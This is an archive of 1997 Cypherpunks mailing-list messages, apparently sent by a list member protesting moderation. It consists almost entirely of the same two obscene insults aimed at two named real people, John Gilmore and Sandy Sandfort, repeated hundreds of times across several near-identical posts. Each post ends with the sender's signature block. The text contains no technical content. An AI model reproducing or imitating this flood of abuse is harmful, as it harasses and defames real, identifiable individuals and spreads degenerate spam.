Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:20:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771065.522366.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:46:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771142.523028.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771024.522004.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771013.521918.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771173.523306.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:54:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771164.523219.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771114.522809.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:46:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771108.522743.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771109.522744.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:30:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855770960.521416.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
